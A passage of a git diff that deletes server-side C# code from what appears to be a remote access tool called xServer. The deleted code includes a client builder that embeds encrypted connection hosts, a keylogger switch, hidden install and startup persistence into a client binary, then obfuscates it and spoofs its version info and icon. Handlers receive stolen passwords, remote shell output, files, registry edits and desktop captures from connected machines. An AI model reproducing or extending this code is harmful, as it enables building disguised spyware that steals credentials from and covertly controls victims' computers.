decrypted); - } - - [TestMethod, TestCategory("Encryption")] - public void EncryptAndDecryptByteArrayTest() - { - var input = FileHelper.GetRandomFilename(100); - var inputByte = Encoding.UTF8.GetBytes(input); - var password = FileHelper.GetRandomFilename(50); - - AES.SetDefaultKey(password); - - var encryptedByte = AES.Encrypt(inputByte); - - Assert.IsNotNull(encryptedByte); - CollectionAssert.AllItemsAreNotNull(encryptedByte); - CollectionAssert.AreNotEqual(encryptedByte, inputByte); - - var decryptedByte = AES.Decrypt(encryptedByte); - - CollectionAssert.AreEqual(inputByte, decryptedByte); - } - } -} \ No newline at end of file diff --git a/Server.Tests/Properties/AssemblyInfo.cs b/Server.Tests/Properties/AssemblyInfo.cs deleted file mode 100644 index 5393dc607..000000000 --- a/Server.Tests/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// Allgemeine Informationen über eine Assembly werden über folgende -// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, -// die einer Assembly zugeordnet sind. -[assembly: AssemblyTitle("Server.Tests")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Server.Tests")] -[assembly: AssemblyCopyright("Copyright © 2015")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Wenn ComVisible auf "false" festgelegt wird, sind die Typen innerhalb dieser Assembly -// für COM-Komponenten unsichtbar. Wenn Sie auf einen Typ in dieser Assembly von -// COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen. -[assembly: ComVisible(false)] - -// Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird -[assembly: Guid("8586f5b1-2ef4-4f35-bd45-c6206fdc0ebc")] - -// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: -// -// Hauptversion -// Nebenversion -// Buildnummer -// Revision -// -// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern -// durch Einsatz von '*', wie in nachfolgendem Beispiel: -// [Assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Server.Tests/Server.Tests.csproj b/Server.Tests/Server.Tests.csproj deleted file mode 100644 index 4e29c94a4..000000000 --- a/Server.Tests/Server.Tests.csproj +++ /dev/null @@ -1,94 +0,0 @@ - - - - Debug - AnyCPU - {BF45108E-1E43-486B-A71D-5426BBB041DB} - Library - Properties - xServer.Tests - Server.Tests - v4.0 - 512 - {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} - 10.0 - $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) - $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages - False - UnitTest - - - true - full - false - Bin\Debug\ - DEBUG;TRACE - prompt - 4 - false - AnyCPU - - - pdbonly - true - Bin\Release\ - TRACE - prompt - 4 - false - - - - - - - - - - - - - - - - - - - - - - - - {14ca405b-8bac-48ab-9fba-8fb5df88fd0d} - Server - - - - - - - - False - - - False - - - False - - - False - - - - - - - - \ No newline at end of file diff --git a/Server/Controls/RegistryValueLstItem.cs b/Server/Controls/RegistryValueLstItem.cs deleted file mode 100644 index afb93f98e..000000000 --- a/Server/Controls/RegistryValueLstItem.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Windows.Forms; - -namespace xServer.Controls -{ - //Comparer for comparing registry values (listview) - //Used to sort the elements in the listview according to the RegName property - public class RegistryValueListItemComparer : IComparer - { - public RegistryValueListItemComparer() { } - - public int Compare(object x, object y) - { - if (x.GetType() == typeof(RegistryValueLstItem) && y.GetType() == typeof(RegistryValueLstItem)) - { - //Compare if the names are the same - return String.Compare(((RegistryValueLstItem)x).RegName, ((RegistryValueLstItem)y).RegName); - } - return -1; - } - } - - internal class RegistryValueLstItem : ListViewItem - { - private string _regName { get; set; } - private string _type { get; set; } - private string _data { get; set; } - - public string RegName { - get { return _regName; } - set - { - _regName = value; - //Handle if the given value is for a null registry value (default value) - //Display (Default) not empty string - this.Name = String.IsNullOrEmpty(value) ? "(Default)" : value; - this.Text = String.IsNullOrEmpty(value) ? "(Default)" : value; - } - } - public string Type { - get { return _type; } - set - { - _type = value; - this.ImageIndex = GetRegistryValueImgIndex(value); - } - } - - public string Data { - get { return _data; } - set - { - //Hardcoded that the data is the second column - if (this.SubItems.Count == 3) - { - this.SubItems[2].Text = value; - _data = value; - } - } - } - - public RegistryValueLstItem(string name, string type, string data) : - base() - { - RegName = name; - this.SubItems.Add(type); - Type = type; - this.SubItems.Add(data); - Data = data; - } - - private int GetRegistryValueImgIndex(string type) - { - switch (type) - { - case "REG_MULTI_SZ": - case "REG_SZ": - case "REG_EXPAND_SZ": - return 0; - case "REG_BINARY": - case "REG_DWORD": - case "REG_QWORD": - default: - return 1; - } - } - } -} diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs deleted file mode 100644 index 14e8597ab..000000000 --- a/Server/Core/Build/ClientBuilder.cs +++ /dev/null @@ -1,185 +0,0 @@ -using System; -using Mono.Cecil; -using Mono.Cecil.Cil; -using Vestris.ResourceLib; -using xServer.Core.Cryptography; -using xServer.Core.Data; -using xServer.Core.Helper; - -namespace xServer.Core.Build -{ - /// - /// Provides methods used to create a custom client executable. - /// - public static class ClientBuilder - { - /// - /// Builds a client executable. - /// - /// - /// Assumes the 'client.bin' file exist. - /// - public static void Build(BuildOptions options) - { - // PHASE 1 - Settings - string encKey = FileHelper.GetRandomFilename(20); - AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin"); - - foreach (var typeDef in asmDef.Modules[0].Types) - { - if (typeDef.FullName == "xClient.Config.Settings") - { - foreach (var methodDef in typeDef.Methods) - { - if (methodDef.Name == ".cctor") - { - int strings = 1, bools = 1; - - for (int i = 0; i < methodDef.Body.Instructions.Count; i++) - { - if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string - { - switch (strings) - { - case 1: //version - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey); - break; - case 2: //ip/hostname - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey); - break; - case 3: //password - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey); - break; - case 4: //installsub - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey); - break; - case 5: //installname - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey); - break; - case 6: //mutex - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey); - break; - case 7: //startupkey - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey); - break; - case 8: //encryption key - methodDef.Body.Instructions[i].Operand = encKey; - break; - case 9: //tag - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey); - break; - case 10: //LogDirectoryName - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey); - break; - } - strings++; - } - else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || - methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool - { - switch (bools) - { - case 1: //install - methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install)); - break; - case 2: //startup - methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup)); - break; - case 3: //hidefile - methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile)); - break; - case 4: //Keylogger - methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger)); - break; - case 5: //HideLogDirectory - methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory)); - break; - } - bools++; - } - else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int - { - //reconnectdelay - methodDef.Body.Instructions[i].Operand = options.Delay; - } - else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte - { - methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath); - } - } - } - } - } - } - - // PHASE 2 - Renaming - Renamer r = new Renamer(asmDef); - - if (!r.Perform()) - throw new Exception("renaming failed"); - - // PHASE 3 - Saving - r.AsmDef.Write(options.OutputPath); - - // PHASE 4 - Assembly Information changing - if (options.AssemblyInformation != null) - { - VersionResource versionResource = new VersionResource(); - versionResource.LoadFrom(options.OutputPath); - - versionResource.FileVersion = options.AssemblyInformation[7]; - versionResource.ProductVersion = options.AssemblyInformation[6]; - versionResource.Language = 0; - - StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"]; - stringFileInfo["CompanyName"] = options.AssemblyInformation[2]; - stringFileInfo["FileDescription"] = options.AssemblyInformation[1]; - stringFileInfo["ProductName"] = options.AssemblyInformation[0]; - stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3]; - stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4]; - stringFileInfo["ProductVersion"] = versionResource.ProductVersion; - stringFileInfo["FileVersion"] = versionResource.FileVersion; - stringFileInfo["Assembly Version"] = versionResource.ProductVersion; - stringFileInfo["InternalName"] = options.AssemblyInformation[5]; - stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5]; - - versionResource.SaveTo(options.OutputPath); - } - - // PHASE 5 - Icon changing - if (!string.IsNullOrEmpty(options.IconPath)) - IconInjector.InjectIcon(options.OutputPath, options.IconPath); - } - - /// - /// Obtains the OpCode that corresponds to the bool value provided. - /// - /// The value to convert to the OpCode - /// Returns the OpCode that represents the value provided. - private static OpCode BoolOpcode(bool p) - { - return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; - } - - /// - /// Attempts to obtain the signed-byte value of a special folder from the install path value provided. - /// - /// The integer value of the install path. - /// Returns the signed-byte value of the special folder. - /// Thrown if the path to the special folder was invalid. - private static sbyte GetSpecialFolder(int installpath) - { - switch (installpath) - { - case 1: - return (sbyte)Environment.SpecialFolder.ApplicationData; - case 2: - return (sbyte)Environment.SpecialFolder.ProgramFilesX86; - case 3: - return (sbyte)Environment.SpecialFolder.SystemX86; - default: - throw new ArgumentException("InstallPath"); - } - } - } -} \ No newline at end of file diff --git a/Server/Core/Build/IconInjector.cs b/Server/Core/Build/IconInjector.cs deleted file mode 100644 index 5f1f3a76e..000000000 --- a/Server/Core/Build/IconInjector.cs +++ /dev/null @@ -1,236 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Security; - -namespace xServer.Core.Build -{ - public static class IconInjector - { - // Basically, you can change icons with the UpdateResource api call. - // When you make the call you say "I'm updating an icon", and you send the icon data. - // The main problem is that ICO files store the icons in one set of structures, and exe/dll files store them in - // another set of structures. So you have to translate between the two -- you can't just load the ICO file as - // bytes and send them with the UpdateResource api call. - - [SuppressUnmanagedCodeSecurity()] - private class NativeMethods - { - [DllImport("kernel32")] - public static extern IntPtr BeginUpdateResource(string fileName, - [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool UpdateResource(IntPtr hUpdate, IntPtr type, IntPtr name, short language, - [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data, int dataSize); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard); - } - - // The first structure in an ICO file lets us know how many images are in the file. - [StructLayout(LayoutKind.Sequential)] - private struct ICONDIR - { - // Reserved, must be 0 - public ushort Reserved; - // Resource type, 1 for icons. - public ushort Type; - // How many images. - public ushort Count; - // The native structure has an array of ICONDIRENTRYs as a final field. - } - - // Each ICONDIRENTRY describes one icon stored in the ico file. The offset says where the icon image data - // starts in the file. The other fields give the information required to turn that image data into a valid - // bitmap. - [StructLayout(LayoutKind.Sequential)] - private struct ICONDIRENTRY - { - /// - /// The width, in pixels, of the image. - /// - public byte Width; - /// - /// The height, in pixels, of the image. - /// - public byte Height; - /// - /// The number of colors in the image; (0 if >= 8bpp) - /// - public byte ColorCount; - /// - /// Reserved (must be 0). - /// - public byte Reserved; - /// - /// Color planes. - /// - public ushort Planes; - /// - /// Bits per pixel. - /// - public ushort BitCount; - /// - /// The length, in bytes, of the pixel data. - /// - public int BytesInRes; - /// - /// The offset in the file where the pixel data starts. - /// - public int ImageOffset; - } - - // Each image is stored in the file as an ICONIMAGE structure: - //typdef struct - //{ - // BITMAPINFOHEADER icHeader; // DIB header - // RGBQUAD icColors[1]; // Color table - // BYTE icXOR[1]; // DIB bits for XOR mask - // BYTE icAND[1]; // DIB bits for AND mask - //} ICONIMAGE, *LPICONIMAGE; - - - [StructLayout(LayoutKind.Sequential)] - private struct BITMAPINFOHEADER - { - public uint Size; - public int Width; - public int Height; - public ushort Planes; - public ushort BitCount; - public uint Compression; - public uint SizeImage; - public int XPelsPerMeter; - public int YPelsPerMeter; - public uint ClrUsed; - public uint ClrImportant; - } - - // The icon in an exe/dll file is stored in a very similar structure: - [StructLayout(LayoutKind.Sequential, Pack = 2)] - private struct GRPICONDIRENTRY - { - public byte Width; - public byte Height; - public byte ColorCount; - public byte Reserved; - public ushort Planes; - public ushort BitCount; - public int BytesInRes; - public ushort ID; - } - - public static void InjectIcon(string exeFileName, string iconFileName) - { - InjectIcon(exeFileName, iconFileName, 1, 1); - } - - public static void InjectIcon(string exeFileName, string iconFileName, uint iconGroupID, uint iconBaseID) - { - const uint RT_ICON = 3u; - const uint RT_GROUP_ICON = 14u; - IconFile iconFile = IconFile.FromFile(iconFileName); - var hUpdate = NativeMethods.BeginUpdateResource(exeFileName, false); - var data = iconFile.CreateIconGroupData(iconBaseID); - NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_GROUP_ICON), new IntPtr(iconGroupID), 0, data, - data.Length); - for (int i = 0; i <= iconFile.ImageCount - 1; i++) - { - var image = iconFile.ImageData(i); - NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_ICON), new IntPtr(iconBaseID + i), 0, image, - image.Length); - } - NativeMethods.EndUpdateResource(hUpdate, false); - } - - private class IconFile - { - private ICONDIR iconDir = new ICONDIR(); - private ICONDIRENTRY[] iconEntry; - - private byte[][] iconImage; - - public int ImageCount - { - get { return iconDir.Count; } - } - - public byte[] ImageData(int index) - { - return iconImage[index]; - } - - public static IconFile FromFile(string filename) - { - IconFile instance = new IconFile(); - // Read all the bytes from the file. - byte[] fileBytes = System.IO.File.ReadAllBytes(filename); - // First struct is an ICONDIR - // Pin the bytes from the file in memory so that we can read them. - // If we didn't pin them then they could move around (e.g. when the - // garbage collector compacts the heap) - GCHandle pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned); - // Read the ICONDIR - instance.iconDir = (ICONDIR) Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject(), typeof (ICONDIR)); - // which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY, and associated pixel data. - instance.iconEntry = new ICONDIRENTRY[instance.iconDir.Count]; - instance.iconImage = new byte[instance.iconDir.Count][]; - // The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of ICONDIR - int offset = Marshal.SizeOf(instance.iconDir); - // After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY - var iconDirEntryType = typeof (ICONDIRENTRY); - var size = Marshal.SizeOf(iconDirEntryType); - for (int i = 0; i <= instance.iconDir.Count - 1; i++) - { - // Grab the structure. - var entry = - (ICONDIRENTRY) - Marshal.PtrToStructure(new IntPtr(pinnedBytes.AddrOfPinnedObject().ToInt64() + offset), - iconDirEntryType); - instance.iconEntry[i] = entry; - // Grab the associated pixel data. - instance.iconImage[i] = new byte[entry.BytesInRes]; - Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage[i], 0, entry.BytesInRes); - offset += size; - } - pinnedBytes.Free(); - return instance; - } - - public byte[] CreateIconGroupData(uint iconBaseID) - { - // This will store the memory version of the icon. - int sizeOfIconGroupData = Marshal.SizeOf(typeof (ICONDIR)) + - Marshal.SizeOf(typeof (GRPICONDIRENTRY))*ImageCount; - byte[] data = new byte[sizeOfIconGroupData]; - var pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned); - Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject(), false); - var offset = Marshal.SizeOf(iconDir); - for (int i = 0; i <= ImageCount - 1; i++) - { - GRPICONDIRENTRY grpEntry = new GRPICONDIRENTRY(); - BITMAPINFOHEADER bitmapheader = new BITMAPINFOHEADER(); - var pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned); - Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject(), - Marshal.SizeOf(typeof (BITMAPINFOHEADER))); - pinnedBitmapInfoHeader.Free(); - grpEntry.Width = iconEntry[i].Width; - grpEntry.Height = iconEntry[i].Height; - grpEntry.ColorCount = iconEntry[i].ColorCount; - grpEntry.Reserved = iconEntry[i].Reserved; - grpEntry.Planes = bitmapheader.Planes; - grpEntry.BitCount = bitmapheader.BitCount; - grpEntry.BytesInRes = iconEntry[i].BytesInRes; - grpEntry.ID = Convert.ToUInt16(iconBaseID + i); - Marshal.StructureToPtr(grpEntry, new IntPtr(pinnedData.AddrOfPinnedObject().ToInt64() + offset), - false); - offset += Marshal.SizeOf(typeof (GRPICONDIRENTRY)); - } - pinnedData.Free(); - return data; - } - } - } -} \ No newline at end of file diff --git a/Server/Core/Commands/CommandHandler.cs b/Server/Core/Commands/CommandHandler.cs deleted file mode 100644 index d4a5f0aae..000000000 --- a/Server/Core/Commands/CommandHandler.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System.Collections.Generic; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ - public static partial class CommandHandler - { - public static Dictionary CanceledDownloads = new Dictionary(); - public static Dictionary RenamedFiles = new Dictionary(); - private const string DELIMITER = "$E$"; - } -} \ No newline at end of file diff --git a/Server/Core/Commands/ConnectionHandler.cs b/Server/Core/Commands/ConnectionHandler.cs deleted file mode 100644 index cfa3793e0..000000000 --- a/Server/Core/Commands/ConnectionHandler.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System.IO; -using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Packets.ClientPackets; -using xServer.Forms; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE CONNECTION COMMANDS. */ - public static partial class CommandHandler - { - public static void HandleGetAuthenticationResponse(Client client, GetAuthenticationResponse packet) - { - if (client.EndPoint.Address.ToString() == "255.255.255.255" || packet.Id.Length != 64) - return; - - try - { - client.Value.Version = packet.Version; - client.Value.OperatingSystem = packet.OperatingSystem; - client.Value.AccountType = packet.AccountType; - client.Value.Country = packet.Country; - client.Value.CountryCode = packet.CountryCode; - client.Value.Region = packet.Region; - client.Value.City = packet.City; - client.Value.Id = packet.Id; - client.Value.Username = packet.Username; - client.Value.PCName = packet.PCName; - client.Value.Tag = packet.Tag; - client.Value.ImageIndex = packet.ImageIndex; - - client.Value.DownloadDirectory = (!FileHelper.CheckPathForIllegalChars(client.Value.UserAtPc)) ? - Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.Value.UserAtPc, client.Value.Id.Substring(0, 7))) : - Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.EndPoint.Address, client.Value.Id.Substring(0, 7))); - - if (Settings.ShowToolTip) - new Packets.ServerPackets.GetSystemInfo().Execute(client); - } - catch - { - } - } - - public static void HandleSetStatus(Client client, SetStatus packet) - { - FrmMain.Instance.SetStatusByClient(client, packet.Message); - } - - public static void HandleSetUserStatus(Client client, SetUserStatus packet) - { - FrmMain.Instance.SetUserStatusByClient(client, packet.Message); - } - } -} \ No newline at end of file diff --git a/Server/Core/Commands/MiscHandler.cs b/Server/Core/Commands/MiscHandler.cs deleted file mode 100644 index e5cafaac0..000000000 --- a/Server/Core/Commands/MiscHandler.cs +++ /dev/null @@ -1,107 +0,0 @@ -using System; -using System.IO; -using xServer.Core.Networking; -using xServer.Core.Packets.ClientPackets; -using xServer.Core.Utilities; -using xServer.Forms; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN MISCELLANEOUS METHODS. */ - public static partial class CommandHandler - { - public static void HandleDoShellExecuteResponse(Client client, DoShellExecuteResponse packet) - { - if (client.Value == null || client.Value.FrmRs == null || string.IsNullOrEmpty(packet.Output)) - return; - - if (packet.IsError) - client.Value.FrmRs.PrintError(packet.Output); - else - client.Value.FrmRs.PrintMessage(packet.Output); - } - - public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet) - { - if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename)) - return; - - if (!Directory.Exists(client.Value.DownloadDirectory)) - Directory.CreateDirectory(client.Value.DownloadDirectory); - - string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename); - - if (packet.CurrentBlock == 0 && File.Exists(downloadPath)) - { - for (int i = 1; i < 100; i++) - { - var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath)); - if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName))) continue; - - downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName); - RenamedFiles.Add(packet.ID, newFileName); - break; - } - } - else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID)) - { - downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]); - } - - if (client.Value == null || client.Value.FrmFm == null) - { - FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open."); - new Packets.ServerPackets.DoDownloadFileCancel(packet.ID).Execute(client); - return; - } - - int index = client.Value.FrmFm.GetTransferIndex(packet.ID); - if (index < 0) - return; - - if (!string.IsNullOrEmpty(packet.CustomMessage)) - { - if (client.Value.FrmFm == null) // abort download when form is closed - return; - - client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0); - return; - } - - FileSplit destFile = new FileSplit(downloadPath); - if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock)) - { - if (client.Value == null || client.Value.FrmFm == null) - return; - - client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0); - return; - } - - decimal progress = - Math.Round((decimal) ((double) (packet.CurrentBlock + 1)/(double) packet.MaxBlocks*100.0), 2); - - if (client.Value == null || client.Value.FrmFm == null) - return; - - if (CanceledDownloads.ContainsKey(packet.ID)) return; - - client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1); - - if ((packet.CurrentBlock + 1) == packet.MaxBlocks) - { - if (client.Value.FrmFm == null) - return; - RenamedFiles.Remove(packet.ID); - client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1); - } - } - - public static void HandleSetStatusFileManager(Client client, SetStatusFileManager packet) - { - if (client.Value == null || client.Value.FrmFm == null) return; - - client.Value.FrmFm.SetStatus(packet.Message, packet.SetLastDirectorySeen); - } - } -} \ No newline at end of file diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs deleted file mode 100644 index d17c7a041..000000000 --- a/Server/Core/Commands/RegistryHandler.cs +++ /dev/null @@ -1,178 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ - public static partial class CommandHandler - { - public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetRegistryKeysResponse packet, Client client) - { - try - { - // Make sure that we can use the packet. - if (packet.Matches != null && packet.Matches.Length > 0) - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - client.Value.FrmRe.AddKeysToTree(packet.RootKey, packet.Matches); - } - } - } - catch - { } - } - - #region Registry Key Edit - - public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.AddKeyToTree(packet.ParentPath, packet.Match); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - public static void HandleDeleteRegistryKey(xServer.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.RemoveKeyFromTree(packet.ParentPath, packet.KeyName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - public static void HandleRenameRegistryKey(xServer.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.RenameKeyFromTree(packet.ParentPath, packet.OldKeyName, packet.NewKeyName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - #endregion - - #region Registry Value Edit - - public static void HandleCreateRegistryValue(xServer.Core.Packets.ClientPackets.GetCreateRegistryValueResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.AddValueToList(packet.KeyPath, packet.Value); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - public static void HandleDeleteRegistryValue(xServer.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.DeleteValueFromList(packet.KeyPath, packet.ValueName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - public static void HandleRenameRegistryValue(xServer.Core.Packets.ClientPackets.GetRenameRegistryValueResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.RenameValueFromList(packet.KeyPath, packet.OldValueName, packet.NewValueName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - public static void HandleChangeRegistryValue(xServer.Core.Packets.ClientPackets.GetChangeRegistryValueResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.ChangeValueFromList(packet.KeyPath, packet.Value); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - - #endregion - } -} diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs deleted file mode 100644 index 51197dee1..000000000 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ /dev/null @@ -1,176 +0,0 @@ -using System; -using System.IO; -using System.Linq; -using System.Threading; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Packets.ClientPackets; -using xServer.Core.Packets.ServerPackets; -using xServer.Core.Utilities; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE SURVEILLANCE COMMANDS. */ - public static partial class CommandHandler - { - public static void HandleGetPasswordsResponse(Client client, GetPasswordsResponse packet) - { - if (client.Value == null || client.Value.FrmPass == null) - return; - - if (packet.Passwords == null) - return; - - string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName); - - var lst = - packet.Passwords.Select(str => str.Split(new[] {DELIMITER}, StringSplitOptions.None)) - .Select( - values => - new RecoveredAccount - { - Username = values[0], - Password = values[1], - URL = values[2], - Application = values[3] - }) - .ToList(); - - if (client.Value != null && client.Value.FrmPass != null) - client.Value.FrmPass.AddPasswords(lst.ToArray(), userAtPc); - } - public static void HandleGetDesktopResponse(Client client, GetDesktopResponse packet) - { - if (client.Value == null - || client.Value.FrmRdp == null - || client.Value.FrmRdp.IsDisposed - || client.Value.FrmRdp.Disposing) - return; - - if (packet.Image == null) - return; - - if (client.Value.StreamCodec == null) - 